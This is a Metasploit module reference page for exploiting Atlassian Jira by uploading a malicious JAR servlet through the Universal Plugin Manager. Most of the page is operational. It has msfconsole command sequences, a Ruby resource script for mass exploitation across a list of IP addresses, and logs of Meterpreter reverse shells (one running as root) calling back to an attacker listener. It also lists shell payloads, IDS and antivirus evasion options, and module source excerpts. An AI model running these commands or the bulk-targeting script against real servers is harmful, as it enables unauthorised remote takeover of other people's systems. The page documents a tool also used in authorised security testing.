Atlassian Jira Authenticated Upload Code Execution - Metasploit
This page contains detailed information about how to use the exploit/multi/http/jira_plugin_upload metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Atlassian Jira Authenticated Upload Code Execution
Module: exploit/multi/http/jira_plugin_upload
Source code: modules/exploits/multi/http/jira_plugin_upload.rb
Disclosure date: 2018-02-22
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Java
Target service / protocol: http, https
Target network port(s): 80, 443, 2990, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
This module can be used to execute a payload on Atlassian Jira via the Universal Plugin Manager(UPM). The module requires valid login credentials to an account that has access to the plugin manager. The payload is uploaded as a JAR archive containing a servlet using a POST request against the UPM component. The check command will test the validity of user supplied credentials and test for access to the plugin manager.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using jira_plugin_upload against a single host
Normally, you can use exploit/multi/http/jira_plugin_upload this way:
msf > use exploit/multi/http/jira_plugin_upload
msf exploit(jira_plugin_upload) > show targets
... a list of targets ...
msf exploit(jira_plugin_upload) > set TARGET target-id
msf exploit(jira_plugin_upload) > show options
... show and set options ...
msf exploit(jira_plugin_upload) > exploit
Using jira_plugin_upload against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your jira_plugin_upload will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/jira_plugin_upload")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
This module uses a POST request against the Atlassian Jira Universal Plugin Manager (UPM) to upload a malicious Java servlet in the form of a JAR archive. Once uploaded the module executes the payload with a GET request and then cleans up after itself by deleting the plugin. Successful exploitation is dependent on valid credentials to an account that has access to the UPM (typically the admin account). The module includes a check function that will validate user supplied credentials and access to the UPM.
Vulnerable Application
The version of Atlassian Jira used for testing was 7.8.0 but the module should work for all versions of Jira as the main dependency is the implementation of Atlassian's UPM framework.
To set up a vulnerable installation: 1. Build the Atlassian SDK environment. Instructions can be found below: - Windows: https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/ - Linux/Mac: https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-linux-or-mac-system/ 2. Create a shell Jira plugin and launch the SDK. Instructions can be found below: - https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/ 3. Validate installation by browsing to localhost:2990/jira/ and logging in with the default credentials admin:admin
Verification Steps
- Install Atlassian SDK/Jira environment.
- Browse to localhost:2990/jira/ to confirm successful deployment.
- Start msfconsole:
msfconsole -q - Do:
use exploit/multi/http/jira_plugin_upload - Do:
set rhost [IP] - Check credentials and UPM access:
check - Do:
exploit - You should get a shell.
Scenarios
Successful exploitation:
msf > use exploit/multi/http/jira_plugin_upload
msf exploit(multi/http/jira_plugin_upload) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf exploit(multi/http/jira_plugin_upload) > check
[] Server accepted the credentials, user has access to plugin manager! [] 127.0.0.1:2990 The target appears to be vulnerable. msf exploit(multi/http/jira_plugin_upload) > exploit
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress? [] Started reverse TCP handler on 127.0.0.1:4444 [] Retrieving Session ID and XSRF token... [] Attempting to upload UlDRthpT [] Successfully uploaded UlDRthpT [] Executing UlDRthpT [] Deleting UlDRthpT [] Sending stage (53837 bytes) to 127.0.0.1 [] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:43208) at 2018-02-25 13:45:43 -0500
meterpreter > getuid Server username: root meterpreter > exit [*] Shutting down Meterpreter...
[] 127.0.0.1 - Meterpreter session 1 closed. Reason: User exit
[] 127.0.0.1 - Meterpreter session 1 closed. Reason: Died
msf exploit(multi/http/jira_plugin_upload) >
Go back to menu.
Msfconsole Usage
Here is how the multi/http/jira_plugin_upload exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/jira_plugin_upload
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/jira_plugin_upload) > show info
Name: Atlassian Jira Authenticated Upload Code Execution
Module: exploit/multi/http/jira_plugin_upload
Platform: Java
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2018-02-22
Provided by:
Alexander Gonzalez(dubfr33)
Available targets:
Id Name
-- ----
0 Java Universal
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword admin yes The password for the specified username
HttpUsername admin yes The username to authenticate as
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 2990 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /jira/ yes The base URI to Jira
VHOST no HTTP server virtual host
Payload information:
Description:
This module can be used to execute a payload on Atlassian Jira via
the Universal Plugin Manager(UPM). The module requires valid login
credentials to an account that has access to the plugin manager. The
payload is uploaded as a JAR archive containing a servlet using a
POST request against the UPM component. The check command will test
the validity of user supplied credentials and test for access to the
plugin manager.
References:
https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/
https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-linux-or-mac-system/
https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/
Module Options
This is a complete list of options available in the multi/http/jira_plugin_upload exploit:
msf6 exploit(multi/http/jira_plugin_upload) > show options
Module options (exploit/multi/http/jira_plugin_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword admin yes The password for the specified username
HttpUsername admin yes The username to authenticate as
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 2990 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /jira/ yes The base URI to Jira
VHOST no HTTP server virtual host
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Java Universal
Advanced Options
Here is a complete list of advanced options supported by the multi/http/jira_plugin_upload exploit:
msf6 exploit(multi/http/jira_plugin_upload) > show advanced
Module advanced options (exploit/multi/http/jira_plugin_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AESPassword no Password for encrypting communication
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
JavaMeterpreterDebug false no Run the payload in debug mode, with logging enabled
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
Spawn 2 yes Number of subprocesses to spawn
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/jira_plugin_upload module can exploit:
msf6 exploit(multi/http/jira_plugin_upload) > show targets
Exploit targets:
Id Name
-- ----
0 Java Universal
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/jira_plugin_upload exploit:
msf6 exploit(multi/http/jira_plugin_upload) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/java/jsp_shell_bind_tcp normal No Java JSP Command Shell, Bind TCP Inline
4 payload/java/jsp_shell_reverse_tcp normal No Java JSP Command Shell, Reverse TCP Inline
5 payload/java/meterpreter/bind_tcp normal No Java Meterpreter, Java Bind TCP Stager
6 payload/java/meterpreter/reverse_http normal No Java Meterpreter, Java Reverse HTTP Stager
7 payload/java/meterpreter/reverse_https normal No Java Meterpreter, Java Reverse HTTPS Stager
8 payload/java/meterpreter/reverse_tcp normal No Java Meterpreter, Java Reverse TCP Stager
9 payload/java/shell/bind_tcp normal No Command Shell, Java Bind TCP Stager
10 payload/java/shell/reverse_tcp normal No Command Shell, Java Reverse TCP Stager
11 payload/java/shell_reverse_tcp normal No Java Command Shell, Reverse TCP Inline
12 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
13 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/jira_plugin_upload exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/jira_plugin_upload) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Unable to access the web application!
Here is a relevant code snippet related to the "Unable to access the web application!" error message:
51: end
52:
53: def check
54: login_res = query_login
55: if login_res.nil?
56: vprint_error('Unable to access the web application!')
57: return CheckCode::Unknown
58: end
59: return CheckCode::Unknown unless login_res.code == 200
60: @session_id = get_sid(login_res)
61: @xsrf_token = login_res.get_html_document.at('meta[@id="atlassian-token"]')
content
Here is a relevant code snippet related to the "content" error message:
57: return CheckCode::Unknown
58: end
59: return CheckCode::Unknown unless login_res.code == 200
60: @session_id = get_sid(login_res)
61: @xsrf_token = login_res.get_html_document.at('meta[@id="atlassian-token"]')
62: return CheckCode::Unknown if @xsrf_token.nil? || @xsrf_token['content'].nil?
63: @xsrf_token = @xsrf_token['content']
64:
65: auth_res = do_auth
66: good_sid = get_sid(auth_res)
67: good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"
Unable to access the web application!
Here is a relevant code snippet related to the "Unable to access the web application!" error message:
65: auth_res = do_auth
66: good_sid = get_sid(auth_res)
67: good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"
68: res = query_upm(good_cookie)
69: if res.nil?
70: vprint_error('Unable to access the web application!')
71: return CheckCode::Unknown
72: elsif res.code == 200
73: return Exploit::CheckCode::Appears
74: else
75: vprint_status('Something went wrong, make sure host is up and options are correct!')
Unable to access the web application!
Here is a relevant code snippet related to the "Unable to access the web application!" error message:
78: end
79: end
80:
81: def exploit
82: unless access_login?
83: fail_with(Failure::Unknown, 'Unable to access the web application!')
84: end
85: print_status('Retrieving Session ID and XSRF token...')
86: auth_res = do_auth
87: good_sid = get_sid(auth_res)
88: good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"
Unable to retrieve UPM token!
Here is a relevant code snippet related to the "Unable to retrieve UPM token!" error message:
86: auth_res = do_auth
87: good_sid = get_sid(auth_res)
88: good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"
89: res = query_for_upm_token(good_cookie)
90: if res.nil?
91: fail_with(Failure::Unknown, 'Unable to retrieve UPM token!')
92: end
93: upm_token = res.headers['upm-token']
94: upload_exec(upm_token, good_cookie)
95: end
96:
Error uploading <NAME>
Here is a relevant code snippet related to the "Error uploading <NAME>" error message:
150: 'Cookie' => good_cookie.to_s
151: }
152: }, 25)
153:
154: unless res && res.code == 202
155: print_status("Error uploading #{name}")
156: print_status("HTTP Response Code: #{res.code}")
157: print_status("Server Response: #{res.body}")
158: return
159: end
160:
Unable to access the web application!
Here is a relevant code snippet related to the "Unable to access the web application!" error message:
176: end
177:
178: def access_login?
179: res = query_login
180: if res.nil?
181: fail_with(Failure::Unknown, 'Unable to access the web application!')
182: end
183: return false unless res && res.code == 200
184: @session_id = get_sid(res)
185: @xsrf_token = res.get_html_document.at('meta[@id="atlassian-token"]')
186: return false if @xsrf_token.nil? || @xsrf_token['content'].nil?
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #11784 Merged Pull Request: Fix NoMethodError in jira_plugin_upload exploit module
- #9631 Merged Pull Request: Add an exploit module for Atlassian Jira Universal Plugin Manager Jar Upload Vulnerability
References
- CVE: Not available
- https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/
- https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-linux-or-mac-system/
- https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/
See Also
Check also the following modules related to this module:
- exploit/multi/http/jira_hipchat_template
- auxiliary/scanner/http/jira_user_enum
- exploit/windows/http/jira_collector_traversal
- exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce
- exploit/multi/http/processmaker_plugin_upload
- exploit/multi/http/traq_plugin_exec
- exploit/multi/http/wp_plugin_backup_guard_rce
- exploit/multi/http/wp_plugin_elementor_auth_upload_rce
- exploit/multi/http/wp_plugin_modern_events_calendar_rce
- exploit/multi/http/wp_plugin_sp_project_document_rce
- exploit/multi/browser/firefox_svg_plugin
- exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
- exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce
- exploit/unix/http/twiki_debug_plugins
- exploit/unix/webapp/piwik_superuser_plugin_upload
- exploit/unix/webapp/squirrelmail_pgp_plugin
- exploit/windows/browser/foxit_reader_plugin_url_bof
- exploit/windows/local/dnsadmin_serverlevelplugindll
- auxiliary/admin/http/wp_automatic_plugin_privesc
- auxiliary/scanner/http/grafana_plugin_traversal
- auxiliary/scanner/http/joomla_plugins
Authors
Alexander Gonzalez(dubfr33)
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
